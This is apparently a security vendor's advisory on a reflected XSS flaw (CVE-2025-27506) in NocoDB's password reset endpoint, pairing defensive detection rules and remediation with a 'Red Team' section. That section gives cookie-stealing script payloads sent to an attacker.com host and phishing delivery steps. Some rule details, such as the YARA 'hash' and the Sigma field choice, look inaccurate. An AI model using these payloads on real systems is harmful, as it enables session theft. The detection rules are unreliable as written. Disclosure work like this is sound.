CVE-2025-27506

Executive Summary

CVE-2025-27506 is a reflected Cross-Site Scripting (XSS) vulnerability in NocoDB, an open-source database-as-a-spreadsheet platform. The flaw resides in the password reset API endpoint /api/v1/db/auth/password/reset/:tokenId. The vulnerability is caused by the insecure use of the <%- output directive in the EJS template engine within the resetPassword.ts file. This allows an attacker to inject arbitrary JavaScript into the response, which is then executed in the victim's browser. The vulnerability is unauthenticated and can be triggered by sending a crafted request to the vulnerable endpoint. The official patch was released in version 0.258.0.

Supply Chain & Package Security

NocoDB is a Node.js application distributed via npm. The vulnerability originates from the insecure use of the EJS template engine, a common npm package. While the vulnerability itself is not a supply chain compromise, it highlights the risk of using template engines with insecure defaults. Organizations using NocoDB should verify their deployment version and update to the patched version immediately. No malicious packages or compromised dependencies have been identified in relation to this CVE.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R) - The victim must click a crafted link or visit a malicious page.
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) - Potential theft of session tokens or cookies.
• Integrity Impact: Low (I:L) - Potential for actions performed on behalf of the user.
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability requires user interaction, but the attack surface is broad as it is unauthenticated and can be exploited via email phishing or social engineering.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS (CWE-79) in the password reset flow. The endpoint /api/v1/db/auth/password/reset/:tokenId is designed to render a password reset page. The tokenId parameter is taken from the URL and passed directly into an EJS template using the <%- directive, which outputs unescaped HTML.

Root Cause: In resetPassword.ts, the template uses <%- token %> instead of <%= token %>. The <%- directive in EJS outputs raw, unescaped HTML, while <%= escapes HTML entities. This allows an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An attacker crafts a malicious URL: https://victim-nocodb.com/api/v1/db/auth/password/reset/<script>alert('XSS')</script>
2. The attacker sends this link to a victim (e.g., via email or social media).
3. The victim clicks the link while authenticated to NocoDB.
4. The server processes the request and renders the password reset page with the injected script.
5. The victim's browser executes the script, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Affected Component: The renderPasswordReset function in resetPassword.ts and the associated EJS template.

Vulnerable vs. Patched Code

Vulnerable Code (resetPassword.ts - before 0.258.0):

// Vulnerable: uses <%- which does not escape HTML
const template = `<%- token %>`;
const html = ejs.render(template, { token: req.params.tokenId });
res.send(html);

Patched Code (resetPassword.ts - after 0.258.0):

// Patched: uses <%= which escapes HTML
const template = `<%= token %>`;
const html = ejs.render(template, { token: req.params.tokenId });
res.send(html);

The fix is minimal but critical: changing <%- to <%= ensures that any HTML/JavaScript in the tokenId parameter is escaped before being rendered.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A vulnerable NocoDB instance (version < 0.258.0).
• A victim user who is authenticated to the instance.

Exploit Steps:

1. Identify the target NocoDB instance.
2. Craft a malicious URL with a JavaScript payload in the tokenId parameter. For example:

   https://target-nocodb.com/api/v1/db/auth/password/reset/<script>alert(document.cookie)</script>
   

3. URL-encode the payload if necessary (e.g., <script>alert(1)</script> becomes %3Cscript%3Ealert(1)%3C/script%3E).
4. Send the crafted link to the victim via phishing email or other means.
5. When the victim clicks the link, the script executes in their browser.

Example Payloads:

• Cookie theft: <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
• Session hijacking: <script>document.location='https://attacker.com/steal?session='+document.cookie</script>

Nuclei Template (Provided):

id: CVE-2025-27506

info:
  name: NocoDB < 0.258.0 - Reflected XSS in Password Reset
  author: 0x_Akoko
  severity: medium
  description: |
    NocoDB versions before 0.258.0 contain a reflected cross-site scripting caused by insecure use of '\u003C%-' in resetPassword.ts, letting attackers execute malicious scripts in victims' browsers, exploit requires sending crafted requests to /api/v1/db/auth/password/reset/:tokenId.
  impact: |
    Attackers can execute malicious scripts in victims' browsers, potentially stealing cookies, session tokens, or performing actions on behalf of users.
  remediation: |
    Update to version 0.258.0 or later.
  reference:
    - https://github.com/nocodb/nocodb/security/advisories/GHSA-wf6c-hrhf-86cw
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27506
    - https://github.com/nocodb/nocodb/commit/ea821edb133e621e26183ae65c8ff9ee5d6f2723
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2025-27506
    epss-score: 0.03816
    epss-percentile: 0.8815
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.title:"NocoDB" || http.favicon.hash:"-1123780655"
    fofa-query: title="NocoDB" || body="nocodb"
  tags: cve,cve2025,nocodb,xss,reflected,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/db/auth/password/reset/nuclei%3C%2Fscript%3E%3Cimg%20src%3Dx%20onerror%3Dalert%28document.domain%29%3E/"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "NocoDB - Reset Password", "onerror=alert(document.domain)>", "token:")'
        condition: and

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests to /api/v1/db/auth/password/reset/ containing suspicious characters (e.g., <, >, script, onerror).
• Use a Web Application Firewall (WAF) to block requests with XSS payloads in the URL path.
• Deploy endpoint detection and response (EDR) solutions to detect anomalous JavaScript execution.

Defense:

• Immediately update NocoDB to version 0.258.0 or later.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Use input validation and output encoding for all user-supplied data.
• Conduct regular security audits and penetration testing.

Indicators of Compromise (IOCs)

• URL Pattern: /api/v1/db/auth/password/reset/* where * contains HTML/JavaScript payloads.
• HTTP Request: GET requests to the vulnerable endpoint with encoded XSS payloads.
• Response Body: Contains unescaped user input in the HTML response, e.g., <script>alert(1)</script>.
• Log Entries: Web server logs showing requests with <, >, script, onerror, etc., in the URL path.
• Network Traffic: Outbound connections from the victim's browser to attacker-controlled domains (if payload exfiltrates data).

Detection Engineering

YARA Rule

rule CVE_2025_27506_NocoDB_XSS {
    meta:
        description = "Detects exploitation attempts of CVE-2025-27506 in NocoDB"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-27506"
        hash = "4a0a00473045022100cb586f9781692dd094f112668de20fc17eec1738595866c1d3fdcc14bccac4b1022073cc0f1acbeea58841c2a41e4dac0e6712e23065f32262a42c006c7db059ab0d"
    strings:
        $xss_payload1 = /\/api\/v1\/db\/auth\/password\/reset\/.*<script>/
        $xss_payload2 = /\/api\/v1\/db\/auth\/password\/reset\/.*onerror=/
        $xss_payload3 = /\/api\/v1\/db\/auth\/password\/reset\/.*%3Cscript%3E/
        $xss_payload4 = /\/api\/v1\/db\/auth\/password\/reset\/.*%3C%2Fscript%3E/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-27506 NocoDB Reflected XSS Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting the NocoDB password reset endpoint with XSS payloads.
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-27506
    - https://github.com/nocodb/nocodb/security/advisories/GHSA-wf6c-hrhf-86cw
logsource:
    category: webserver
    product: apache
    service: http
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/api/v1/db/auth/password/reset/'
        cs-uri-query|contains:
            - '<script>'
            - 'onerror='
            - '%3Cscript%3E'
            - '%3C%2Fscript%3E'
    condition: selection
falsepositives:
    - Legitimate password reset tokens containing similar patterns (unlikely)
level: high
tags:
    - attack.initial_access
    - attack.t1190

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27506 NocoDB Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/api/v1/db/auth/password/reset/"; http_uri; pcre:"/(<script>|onerror=|%3Cscript%3E|%3C%2Fscript%3E)/i"; classtype:web-application-attack; sid:10000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update NocoDB: Upgrade to version 0.258.0 or later immediately.
2. Apply Virtual Patching: If immediate update is not possible, deploy a WAF rule to block requests containing XSS patterns in the /api/v1/db/auth/password/reset/ path.
3. Review Logs: Check web server logs for any signs of exploitation.

Long-Term Mitigations:

• Implement a Content Security Policy (CSP) to restrict script execution.
• Use input validation and output encoding for all user-supplied data.
• Conduct regular security training for developers on secure coding practices.
• Perform periodic penetration testing and vulnerability scanning.

Workaround:

• If upgrading is not feasible, consider disabling the password reset functionality temporarily or restricting access to the endpoint via network controls.

Valters IT
Securing Digital Frontiers

{/* [Security Hash: C949282A2F2A84C9AA264502] */}